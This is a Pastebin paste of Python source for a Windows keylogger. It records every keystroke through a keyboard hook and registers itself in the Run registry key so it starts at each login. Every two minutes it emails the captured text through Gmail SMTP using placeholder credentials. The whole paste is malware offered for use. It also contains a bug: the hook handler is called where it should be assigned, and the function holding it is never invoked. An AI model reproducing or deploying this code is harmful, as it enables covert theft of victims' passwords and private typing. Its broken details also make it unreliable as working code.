Guest User

Untitled

a guest
Apr 23rd, 2018
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.45 KB | None | 0 0
  1. import pythoncom, pyHook
  2. import os
  3. import sys
  4. import threading
  5. import smtplib
  6. import datetime,time
  7. import win32event, win32api, winerror
  8. from _winreg import *
  9.  
  10. # Disallow Multiple Instances
  11. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  12. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  13. mutex = None
  14. exit(0)
  15. x=''
  16. data=''
  17. count=0
  18.  
  19. # Add to startup
  20. def addStartup():
  21. if getattr(sys, 'frozen', False):
  22. fp = os.path.dirname(os.path.realpath(sys.executable))
  23. elif __file__:
  24. fp = os.path.dirname(os.path.realpath(__file__))
  25. file_name=sys.argv[0].split("\\")[-1]
  26. new_file_path=fp+"\\"+file_name
  27. keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  28.  
  29. key2change= OpenKey(HKEY_CURRENT_USER,
  30. keyVal,0,KEY_ALL_ACCESS)
  31.  
  32. SetValueEx(key2change, "logger",0,REG_SZ, new_file_path)
  33.  
  34.  
  35. # Email Logs
  36. class TimerClass(threading.Thread):
  37. def __init__(self):
  38. threading.Thread.__init__(self)
  39. self.event = threading.Event()
  40. def run(self):
  41. while not self.event.is_set():
  42. global data
  43. if len(data)>100:
  44. ts = datetime.datetime.now()
  45. SERVER = "smtp.gmail.com" # Specify Server Here
  46. PORT = 587 # Specify Port Here
  47. USER="address@gmail.com" # Specify Username Here
  48. PASS="prettyflypassword" # Specify Password Here
  49. FROM = USER
  50. TO = ["address@gmail.com"] # Use comma if more than one to address is desired.
  51. SUBJECT = "Keylogger data: "+str(ts)
  52. MESSAGE = data
  53. message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  54. try:
  55. server = smtplib.SMTP()
  56. server.connect(SERVER,PORT)
  57. server.starttls()
  58. server.login(USER,PASS)
  59. server.sendmail(FROM, TO, message)
  60. data=''
  61. server.quit()
  62. except Exception as e:
  63. pass
  64.  
  65. self.event.wait(120)
  66.  
  67. def main():
  68. addStartup()
  69. email=TimerClass()
  70. email.start()
  71.  
  72. def keypressed(event):
  73. global x,data
  74. if event.Ascii==13:
  75. keys='<ENTER>'
  76. elif event.Ascii==8:
  77. keys='<BACK SPACE>'
  78. elif event.Ascii==9:
  79. keys='<TAB>'
  80. else:
  81. keys=chr(event.Ascii)
  82.  
  83. data=data+keys
  84.  
  85. obj = pyHook.HookManager()
  86. obj.KeyDown = keypressed()
  87. obj.HookKeyboard()
  88. pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment